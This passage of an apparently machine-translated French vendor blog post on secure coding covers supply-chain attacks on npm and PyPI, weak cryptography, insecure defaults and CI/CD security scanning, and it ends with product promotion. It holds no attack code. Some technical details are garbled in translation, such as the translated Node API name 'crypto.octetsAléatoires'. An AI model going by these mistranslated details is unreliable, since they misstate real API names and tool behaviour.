Prévention : Restez informé des dernières mises à jour. C'est plus facile à dire qu'à faire (dans les grands projets comportant de nombreuses dépendances, les mises à jour constantes peuvent être fastidieuses), mais c'est indispensable pour la sécurité. Utilisez des outils de gestion des dépendances qui vous indiquent les mises à jour disponibles et réservez régulièrement du temps pour les appliquer. Tirez parti des outils analyse de la composition logicielle SCA) qui vous alerteront si votre projet intègre une bibliothèque présentant une vulnérabilité CVE connue. Par exemple, s'il existe une vulnérabilité critique dans lodash 4.17.19 et vous utilisez cela, un SCA le signalerait et suggérerait de passer à 4.17.21De nombreux registres de paquets publient également des avis de sécurité. Utilisez les outils d'audit adaptés à votre écosystème dans le cadre de votre processus d'intégration continue.

Au-delà des simples alertes, certains outils modernes peuvent même corriger automatiquement ces problèmes, en vous faisant passer automatiquement à des versions sécurisées. Certaines plateformes peuvent détecter les paquets vulnérables et proposer la mise à niveau minimale qui corrige le CVE (et même ouvrir une demande de modification pour vous). Testez toujours après les mises à niveau, mais ne laissez pas la crainte de changements radicaux vous maintenir sur une ancienne version vulnérable : dans la plupart des cas, le risque d'une violation l'emporte souvent sur le risque d'une mise à jour mineure.

De plus, réduisez au minimum les dépendances lorsque cela est possible (moins de bibliothèques signifie moins de vulnérabilités potentielles) et privilégiez les bibliothèques dont la maintenance est active. Si un projet semble abandonné et présente des problèmes connus, envisagez des alternatives. Surveillez les flux de sécurité pour détecter les vulnérabilités critiques dans les technologies que vous utilisez. En substance, considérez la gestion des dépendances comme faisant partie intégrante de votre stratégie de sécurité, et non comme une simple tâche DevOps. L'objectif est de combler les failles connues avant que les pirates ne les exploitent.

8. Dépendances malveillantes ou compromises (attaques de la chaîne d’approvisionnement)

Tout comme l'utilisation de composants obsolètes, mais encore plus insidieuses, attaques de la chaîne d’approvisionnement logicielles attaques de la chaîne d’approvisionnement consistent pour les pirates à injecter du code malveillant dans les paquets tiers que vous utilisez. Au lieu d'attendre une vulnérabilité, le pirate en crée une en altérant discrètement une bibliothèque (ou en publiant une fausse) que les développeurs intègrent ensuite dans leurs projets. Cette forme d'attaque a connu une forte augmentation ces dernières années, en particulier dans des écosystèmes tels que npm et PyPI.

Un cas dramatique s'est produit à Septembre 2025, lorsque l'une des plus grandes compromissions npm de l'histoire a eu lieu. Les pirates ont hameçonné un responsable de maintenance de paquets populaires tels que debug et chalk (qui totalisaient ensemble plus de 2 milliards de téléchargements hebdomadaires !) et ont pris le contrôle de son compte npm. Ils ont ensuite publié mises à jour infectées pour 18 paquets, en ajoutant un code malveillant qui ciblait les portefeuilles cryptographiques sur les pages web. Les développeurs qui ont innocemment mis à jour ces nouvelles versions ont en fait téléchargé des logiciels malveillants. Le code malveillant s'est connecté aux API web pour voler des cryptomonnaies en échangeant les adresses des portefeuilles pendant les transactions. Cet incident a eu un impact considérable : il a mis en danger des millions d'applications jusqu'à ce que les paquets soient retirés et corrigés. Cela nous rappelle de manière frappante que même les paquets largement reconnus peuvent soudainement se transformer en chevaux de Troie si leurs gestionnaires sont compromis.

Autres exemples : le package npm event-stream a été compromis en 2018 afin de voler les clés de portefeuille Bitcoin d'une application spécifique. En 2021, PyPI a subi une vague d'attaques de typosquatting au cours desquelles les pirates ont téléchargé des packages portant des noms similaires à ceux de packages populaires (par exemple, urlib3 au lieu de urllib3) et contenant des portes dérobées. Toute personne ayant mal saisi le nom a installé le paquet malveillant. Même les outils d'infrastructure ont été touchés : images Docker Hub, extensions VSCode, etc.

Impact : une dépendance malveillante peut exécuter n'importe quel code avec les mêmes privilèges que votre application. Cela signifie qu'elle pourrait voler les données de votre application, exfiltrer des secrets (clés API, identifiants de base de données) de votre environnement, installer des portes dérobées ou pivoter pour attaquer d'autres systèmes. attaques de la chaîne d’approvisionnement retournent attaques de la chaîne d’approvisionnement le modèle de confiance contre nous : nous faisons confiance aux paquets open source, que nous considérons comme inoffensifs, et nous les incluons donc librement. Une fois cette confiance trahie, l'impact peut être considérable et très difficile à détecter (combien de développeurs inspectent chaque ligne de code dans leurs node_modules ? Aucun). C'est l'ampleur du phénomène qui le rend si dangereux : compromettre un paquet populaire peut potentiellement compromettre des milliers d'applications en aval d'un seul coup.

Prévention : Il est difficile de se prémunir contre les dépendances malveillantes, mais il existe des bonnes pratiques :

  • Épinglez et vérifiez les versions : ne mettez pas aveuglément à jour vos dépendances vers la dernière version sans les avoir vérifiées au préalable. Utilisez des fichiers de verrouillage ou des épingles de version explicites afin qu'une mise à jour malveillante ne s'introduise pas automatiquement. Lorsqu'une nouvelle version d'une dépendance critique est publiée, consultez si possible le journal des modifications ou les différences, en particulier s'il s'agit d'un paquet à fort impact.
  • Utilisez les fonctionnalités d'intégrité des paquets : les gestionnaires de paquets tels que npm et PyPI prennent en charge la vérification des signatures ou des sommes de contrôle des paquets. Pour npm, vous obtenez un hachage d'intégrité SHA-512 dans le fichier de verrouillage. La probabilité qu'un pirate produise une collision de hachage est négligeable, ce qui vous garantit d'installer exactement ce que vous pensez installer. Certains écosystèmes proposent des paquets signés. Si cette fonctionnalité est disponible, utilisez-la.
  • Avis de surveillance : les avis de sécurité et les outils de surveillance proactive peuvent signaler si un paquet est compromis. Lors de certains incidents majeurs, des alertes ont été émises très rapidement. Les projets et les plateformes gèrent des flux d'informations sur les menaces liées aux paquets malveillants, qui peuvent vous avertir ou empêcher l'installation de paquets connus pour être malveillants.
  • Privilège minimal et sandboxing : envisagez d'exécuter les builds ou les installations de paquets dans des environnements isolés. Si un paquet malveillant s'exécute, il causera moins de dommages dans un bac à sable ou un conteneur avec des autorisations limitées. De plus, lors de l'exécution, essayez d'exécuter votre application avec le moins de privilèges possible, afin que si une bibliothèque devient malveillante, elle ait un accès minimal (par exemple, n'exécutez pas votre application Node.js en tant que root sur le serveur).
  • Auditer le code si possible : cela peut s'avérer difficile à grande échelle, mais pour les dépendances très importantes, il peut être utile de procéder à un audit rapide du code ou d'utiliser des outils automatisés qui analysent le comportement des paquets. Certains outils tentent de détecter si une mise à jour entraîne soudainement une perte de connexion réseau ou une lecture suspecte des variables d'environnement.

En résumé, restez vigilant quant à votre chaîne logistique. La communauté développe davantage d'outils pour lutter contre ce problème (npm dispose désormais d'une authentification à deux facteurs pour les gestionnaires, etc.), mais en tant que consommateur de paquets, vous devez garder un œil sur ce que vous intégrez à votre application. L'utilisation d'une solution automatisée pour rechercher les logiciels malveillants dans les dépendances peut fournir une couche de défense supplémentaire, permettant de détecter les codes malveillants avant qu'ils ne vous atteignent.

9. Pratiques cryptographiques insuffisantes

Même lorsque les développeurs tentent de sécuriser les données, la manière dont ils procèdent est importante. Une utilisation incorrecte de la cryptographie peut donner un faux sentiment de sécurité. Parmi les pièges courants, on peut citer l'utilisation d'algorithmes obsolètes ou faibles, une mauvaise gestion des clés ou la mise en œuvre manuelle de protocoles cryptographiques (et leur mauvaise utilisation). Ces erreurs ne conduisent pas toujours à une vulnérabilité CVE évidente, mais elles compromettent les protections que vous aviez l'intention de mettre en place.

Quelques exemples :

  • Hachage faible pour les mots de passe : stocker des mots de passe à l'aide d'un hachage rapide tel que MD5 ou SHA-1 (ou pire, sans sel) est dangereux. Les hachages rapides peuvent être très rapidement piratés par force brute ou à l'aide de tables arc-en-ciel avec du matériel moderne. De nombreuses violations ont eu lieu dans des entreprises qui utilisaient des mots de passe hachés, mais qui ont tout de même été piratées parce que les attaquants ont réussi à pirater ces hachages. C'est pourquoi la norme dans l'industrie consiste à utiliser des hachages lents et gourmands en ressources informatiques (bcrypt, scrypt, Argon2) avec des sels.
  • Clés cryptographiques codées en dur ou réutilisées : nous avons vu des développeurs commettre des clés secrètes JWT, des secrets API HMAC ou des clés de chiffrement dans des référentiels publics (ce qui recoupe le problème des secrets). Si un pirate obtient votre clé symétrique, il peut falsifier des jetons ou déchiffrer des données à sa guise. De même, la réutilisation de la même clé dans différents environnements ou l'utilisation de clés par défaut (certains frameworks sont livrés avec un secret JWT par défaut pour le mode développement que les utilisateurs ont oublié de modifier) peut entraîner une compromission.
  • Aléatoire non sécurisé : utilisation de générateurs aléatoires non sécurisés sur le plan cryptographique pour les jetons sensibles sur le plan de la sécurité. Par exemple, l'utilisation de Math.random() en JavaScript pour générer un jeton de réinitialisation de mot de passe – ce qui est suffisamment prévisible pour être piraté par force brute. Il y a eu des CVE dans les langages pour une mauvaise génération de nombres aléatoires, mais le plus souvent, c'est un développeur qui ne se rend pas compte qu'il a besoin de quelque chose comme crypto.octetsAléatoires ou SecureRandom.
  • Cryptographie et protocoles personnalisés : « Ne créez pas votre propre cryptographie » est un principe de sagesse ancestral. La mise en œuvre de votre propre algorithme ou protocole de chiffrement est susceptible d'introduire des failles. Par exemple, un développeur peut décider de chiffrer des données avec AES, mais utiliser le mode ECB (qui n'est pas sécurisé car il ne randomise pas les blocs identiques) – ce modèle est apparu dans certaines bibliothèques de chiffrement développées en interne et a conduit à la divulgation d'informations. Autre exemple : ne pas vérifier correctement les signatures (par exemple, ne pas vérifier la chaîne de certificats dans une connexion SSL/TLS, désactivant ainsi la validation, ce qui a conduit à des vulnérabilités de type « man-in-the-middle » dans certaines applications).

Impact : une cryptographie faible peut entraîner des violations de données et des contournements d'authentification. Si les mots de passe sont faciles à pirater, une violation de votre base de données de mots de passe hachés signifie que les attaquants obtiendront un pourcentage important des mots de passe réels. Si les jetons ou les cookies sont signés avec une clé faible (ou aucune clé), les pirates peuvent falsifier ces jetons pour usurper l'identité des utilisateurs (c'est ainsi que le fiasco JWT « alg:none » a fonctionné : il s'agissait essentiellement de dire « aucune signature »). Si le chiffrement est mal effectué, les pirates peuvent déchiffrer des données sensibles ou les altérer sans être remarqués. En substance, vous pensez que vos données sont sécurisées, mais ce n'est pas le cas, ce qui peut être catastrophique car vous ne mettez peut-être pas en place d'autres protections, en supposant que le cryptage vous protège.

Prévention : Respectez scrupuleusement les meilleures pratiques et normes établies :

  • Utilisez des bibliothèques cryptographiques éprouvées plutôt que d'écrire les vôtres. Utilisez les protocoles les plus récents (TLS 1.3 plutôt que TLS 1.0, JWT avec des algorithmes puissants ou, mieux encore, des jetons opaques avec stockage côté serveur si possible, etc.).
  • Choisissez des algorithmes et des modes robustes : AES-GCM ou ChaCha20-Poly1305 pour le chiffrement, RSA ECDSA avec des longueurs de clé adéquates pour les signatures, PBKDF2/bcrypt/Argon2 pour le hachage des mots de passe, etc. Évitez les algorithmes obsolètes (MD5, SHA-1, DES, RC4, etc.).
  • Gérez les clés en toute sécurité : ne les encodez pas en dur (encore une fois, gestion des secrets), faites-les tourner régulièrement et utilisez des clés distinctes pour des usages distincts. Si vous utilisez des JWT, assurez-vous que le secret ou la clé de signature est suffisamment complexe et stocké en toute sécurité.
  • Pour les valeurs aléatoires (clés API, jetons, nonces), utilisez des générateurs aléatoires cryptographiquement sécurisés. Dans la plupart des langages, il s'agit d'une fonction spécifique : par exemple, crypto.randomBytes dans Node, System.Security.Cryptography.RandomNumberGenerator dans .NET, java.security.SecureRandom dans Java (avec une bonne source).
  • Lorsque vous utilisez des bibliothèques cryptographiques, lisez leur documentation pour connaître leur utilisation correcte. De nombreuses erreurs proviennent d'une mauvaise utilisation. Par exemple, si vous utilisez PyCrypto ou le package cryptographique de Go, veillez à fournir un IV unique pour chaque appel de chiffrement, ne réutilisez pas les nonces, etc. De nombreuses bibliothèques proposent des paramètres par défaut sûrs, mais ce n'est pas le cas de toutes.
  • Test et révision : incluez des tests qui garantissent, par exemple, qu'il est impossible de pirater facilement un mot de passe haché ou que les données cryptées ne peuvent pas être altérées. Envisagez d'utiliser des outils tels que des linters ou des analyseurs cryptographiques capables de signaler les algorithmes faibles. Il existe des règles d'analyse statique permettant de détecter l'utilisation de MD5 ou d'IV constants, par exemple. Le scan Aikidopeut détecter certains modèles d'utilisation cryptographique faibles (comme l'utilisation de fonctions de hachage non sécurisées) et vous en avertit afin que vous puissiez passer à des alternatives plus sûres.

En résumé, une cryptographie forte est votre alliée, mais uniquement si elle est utilisée correctement. Tirez parti des implémentations et configurations validées par la communauté. En cas de doute, consultez des experts en sécurité ou des ressources spécialisées pour connaître la bonne approche à adopter plutôt que de vous lancer dans des conjectures. Le temps supplémentaire consacré à la mise en place d'une cryptographie efficace peut vous éviter une violation majeure à l'avenir.

10. Mauvaises configurations de sécurité et paramètres par défaut non sécurisés

Toutes les vulnérabilités ne proviennent pas de la logique du code ; parfois, c'est la configuration (ou la mauvaise configuration) de l'application qui ouvre une brèche. configuration de sécurité inadéquate est une catégorie large, mais dans le contexte du code, nous parlons de choses telles que laisser les modes de débogage activés, utiliser des identifiants par défaut ou des configurations types, des messages d'erreur détaillés divulguant des informations ou ne pas configurer les en-têtes de sécurité. Il s'agit souvent de simples oublis qui peuvent avoir des conséquences désastreuses.

Exemples :

  • Laisser le mode débogage activé : de nombreux frameworks (Django, Flask, Rails, etc.) disposent d'un mode débogage/développement qui ne doit jamais être activé en production. En mode débogage, les frameworks fournissent souvent des pages d'erreur riches et même des consoles interactives. Par exemple, le débogueur Werkzeug de Flask vous permet d'exécuter du code Python arbitraire via le navigateur, ce qui est idéal pour le développement, mais s'il reste activé en production (et si un attaquant peut y accéder), cela constitue un RCE instantané. Il y a eu des cas où des applications Flask mal configurées étaient connectées à Internet avec le mode débogage activé, et où des attaquants ont facilement pris le contrôle du serveur. (Ce problème est si connu que les frameworks affichent des avertissements en gros caractères, mais cela se produit encore occasionnellement.)
  • Identifiants/configurations par défaut : par exemple, laisser le mot de passe administrateur par défaut « admin » ou ne pas modifier les clés API par défaut. Dans le code, vous avez peut-être utilisé un tutoriel qui proposait un exemple de secret JWT « secret123 » et vous ne l'avez jamais modifié. Oups, cela signifie que n'importe qui pourrait falsifier des jetons. Ou bien, un SDK cloud peut utiliser par défaut un certain nom de compartiment ou une certaine règle d'accès que vous n'avez pas remplacé, laissant ainsi involontairement quelque chose accessible au public.
  • Messages d'erreur détaillés et traces de pile : si votre application affiche des traces de pile complètes ou des vidages d'erreurs à l'utilisateur, un pirate peut glaner beaucoup d'informations (versions logicielles, chemins internes, structures de requêtes). Ces informations peuvent faciliter d'autres attaques telles que l'injection SQL (en connaissant la structure de la requête à partir d'un message d'erreur) ou en identifiant les versions des bibliothèques que vous utilisez.
  • En-têtes et paramètres de sécurité : le fait de ne pas configurer votre application web avec des en-têtes sécurisés (Content Security Policy, X-Frame-Options, HSTS, etc.) ne constitue pas une vulnérabilité directe dans votre code, mais cela ne permet pas d'atténuer certaines catégories d'attaques. De même, autoriser votre application à fonctionner sur HTTP (sans redirection vers HTTPS) ou ne pas valider les certificats TLS si votre code effectue des requêtes sortantes peut être considéré comme une mauvaise configuration pouvant conduire à des exploits (comme MITM).
  • Autorisations de fichiers/répertoires et téléchargements : si votre application enregistre les fichiers téléchargés par les utilisateurs dans un répertoire accessible sur le Web sans aucun contrôle, un pirate pourrait télécharger un script, puis y accéder directement via une URL. Il aurait alors exécuté du code sur votre serveur (c'est ainsi que fonctionnaient de nombreuses anciennes failles PHP). Cela pourrait être considéré comme une mauvaise configuration de l'application (ne pas empêcher les types de fichiers dangereux et ne pas isoler correctement les téléchargements).

Impact : les erreurs de configuration peuvent entraîner une compromission immédiate, tout comme les bogues de code. Par exemple, une interface d'administration laissée sans mot de passe (cela arrive !) est en quelque sorte une porte ouverte. Une console de débogage laissée active peut donner accès à un shell à un pirate. Des messages d'erreur détaillés peuvent aider les pirates à trouver une injection SQL ou un vecteur XSS. Ainsi, même si les erreurs de configuration peuvent sembler anodines, elles peuvent être aussi dangereuses que n'importe quelle autre vulnérabilité. La violation de données subie par Uber en 2024, par exemple, aurait commencé par un outil d'administration exposé sans authentification multifactorielle (MFA), ce qui constitue un problème de configuration d'accès.

Prévention : la bonne nouvelle, c'est que les erreurs de configuration sont généralement faciles à corriger une fois identifiées. Il suffit souvent de suivre une liste de contrôle pour renforcer la configuration:

  • Désactivez les modes débogage/développement en production. Vérifiez soigneusement avant le déploiement. De nombreux frameworks autorisent une variable d'environnement ou un indicateur de configuration : assurez-vous qu'ils sont correctement configurés. Vous pouvez même ajouter une assertion dans le code pour refuser l'exécution si le mode débogage est activé dans un environnement non local.
  • Modifiez tous les mots de passe et secrets par défaut. C'est élémentaire, mais il est important de le souligner. Tout ce qui est fourni avec des identifiants par défaut doit être modifié lors de la première installation. Si vous utilisez un code standard ou un modèle contenant des exemples de clés ou de mots de passe, recherchez-les dans votre base de code et remplacez-les par des valeurs sécurisées.
  • Gérez les erreurs avec élégance. Configurez une page d'erreur générique pour les utilisateurs. Enregistrez l'erreur détaillée en interne, mais n'exposez pas les traces de pile aux utilisateurs finaux. Réfléchissez également aux informations renvoyées par vos erreurs API : ne divulguez pas d'éléments tels que les requêtes SQL complètes ou les chemins d'accès aux fichiers serveur.
  • Appliquez les en-têtes de sécurité et les meilleures pratiques. Utilisez des bibliothèques ou des intergiciels qui définissent des en-têtes sécurisés (de nombreux frameworks disposent d'un module de sécurité que vous pouvez activer). Imposez le protocole HTTPS et utilisez HSTS pour empêcher le retour au protocole HTTP. Si votre application doit autoriser les iframes ou les requêtes inter-origines, configurez-la de manière délibérée ; sinon, définissez X-Frame-Options DENY, etc.
  • Gestion du téléchargement de fichiers : si votre application gère le téléchargement de fichiers, stockez-les en dehors de la racine Web ou renommez-les avec des extensions inoffensives. Validez les types de fichiers. Et assurez-vous que le compte sous lequel votre application fonctionne ne dispose que des autorisations de fichiers dont elle a réellement besoin, afin de limiter l'impact en cas de problème.
  • Configurations de plateforme à jour : maintenez votre serveur d'applications et ses dépendances à jour afin de bénéficier de paramètres par défaut sécurisés. Par exemple, les versions plus récentes des frameworks peuvent activer par défaut des mesures de sécurité plus strictes.

La mise en place de scans automatisés pour détecter les erreurs de configuration peut s'avérer utile. Des outils tels que la plateforme Aikidopeuvent analyser votre application et votre infrastructure à la recherche de modèles d'erreurs de configuration courants, par exemple en recherchant « DEBUG = True » dans un fichier de paramètres Python ou en vérifiant si votre site envoie des en-têtes de sécurité. Ces vérifications font souvent partie d'une suite de tests de sécurité des applications.

Enfin, envisagez d'utiliser l'infrastructure en tant que code (IaC) et les pipelines DevOps pour appliquer les normes de configuration. Si vous conteneurisez votre application, par exemple, vous pouvez programmer le conteneur pour qu'il échoue si certaines variables d'environnement (comme un indicateur de débogage de production) sont présentes. L'essentiel est de ne pas considérer la configuration du déploiement comme un élément secondaire, car elle fait partie intégrante de la sécurité de votre application.

Intégrer la sécurité dans votre pipeline de développement

Nous avons abordé de nombreux sujets, des injections classiques et XSS aux nuances des attaques de la chaîne d’approvisionnement des bugs cryptographiques. S'il y a un thème récurrent, c'est bien celui du codage sécurisé comme effort continu. Des erreurs se produiront, de nouvelles vulnérabilités apparaîtront dans vos dépendances et les attaquants continueront à rechercher la moindre faille. La meilleure façon de garder une longueur d'avance est de mettre en place un processus de développement résilient qui détecte les problèmes de manière précoce et continue.

Cela implique d'adopter des pratiques telles que la révision du code dans une optique de sécurité, la mise à jour régulière des dépendances et l'intégration de tests de sécurité dans le processus CI/CD. Les outils automatisés sont vos alliés dans ce domaine. Par exemple, Tests de sécurité des applications statiques SAST) peuvent analyser votre code au fur et à mesure que vous l'écrivez, en signalant les modèles à risque (chaînes SQL, appels de fonctions dangereuses) avant même qu'ils ne soient exécutés. Les scanners de dépendances vous alertent dès qu'une nouvelle vulnérabilité CVE affecte une bibliothèque de votre référentiel, ce qui est crucial lorsque les exploits sont utilisés comme armes en quelques heures. Le scan des secrets peut vous éviter de commettre l'erreur de pousser une clé API vers GitHub. Et les scans de conteneurs/infrastructures peuvent garantir le renforcement de vos configurations de déploiement.

À Aikido, nous croyons en l'importance de faciliter la tâche des développeurs. Nous apprécions les outils open source tels que ESLint, Semgrep, Trivy, etc., mais nous savons également que l'enchaînement d'une multitude de scanners peut devenir un véritable casse-tête pour les équipes de développement. C'est pourquoi des plateformes telles Aikido plusieurs contrôles de sécurité (SAST, SCA, secrets, IaC, analyse de conteneurs) avec des règles personnalisées et des capacités de correction automatique, afin que vous bénéficiez d'une couverture complète et d'une bonne expérience de développement. L'objectif est de mettre en évidence les vulnérabilités réelles avec un contexte complet et même de fournir des corrections ou des conseils automatisés, directement dans votre flux de travail. Par exemple, si Aikido une bibliothèque vulnérable, il peut suggérer la version sécurisée vers laquelle effectuer la mise à niveau (et le faire pour vous). S'il trouve un secret, il peut vous aider à le faire tourner et à éviter qu'il ne se reproduise. Cela réduit la charge qui pèse sur les développeurs pour devenir des experts en sécurité dans chaque vulnérabilité : les outils vous aident et vous apprenez au fur et à mesure.

En tant que développeur, vous avez le pouvoir de rendre votre logiciel plus sûr pour tout le monde. Commencez par traiter les bogues de sécurité avec la même importance que les bogues fonctionnels. Intégrez les principales vulnérabilités dont nous avons parlé dans vos cas de test et vos modèles de menace. Et ne faites pas cavalier seul : tirez parti des outils et services de sécurité qui s'intègrent à votre IDE et à votre CI. Vous pouvez commencer par effectuer une analyse gratuite avec Aikido des plateformes similaires sur l'un de vos projets pour voir ce qu'elle révèle. Les résultats sont souvent révélateurs ! Configurez ces outils pour qu'ils s'exécutent à chaque pull request, afin que les problèmes soient détectés rapidement, lorsqu'ils sont les moins coûteux à résoudre.

Le codage sécurisé est un processus continu, pas une fin en soi. Mais en prenant conscience de ces types de vulnérabilités courantes et en utilisant de manière proactive les bonnes pratiques et les bons outils, vous pouvez réduire considérablement vos risques. Créons un code qui soit non seulement exceptionnel, mais aussi sécurisé dès sa conception. Vos utilisateurs (et votre futur vous) vous en seront reconnaissants.

Continuer la lecture :
Top 9 Docker sécurité des conteneurs    
Les 7 principales vulnérabilités Cloud    
Les 10 principales vulnérabilités de sécurité des applications Web que chaque équipe devrait connaître    
sécurité Kubernetes 9 principales sécurité Kubernetes et erreurs de configuration sécurité Kubernetes    
Les 10 principales vulnérabilités de sécurité Python que les développeurs devraient éviter    
Top des vulnérabilités JavaScript dans les applications Web modernes    
sécurité de la chaîne d’approvisionnement logicielle 9 principales sécurité de la chaîne d’approvisionnement logicielle expliquées

4.7/5

Sécurisez votre logiciel dès maintenant.

Essai gratuit
Sans CB
Planifiez une démo
Vos données ne seront pas partagées - Accès en lecture seule - Pas de CB nécessaire

Sécurisez-vous maintenant.

Sécuriser votre code, votre cloud et votre runtime dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Pas de carte de crédit requise | Résultats du scan en 32 secondes.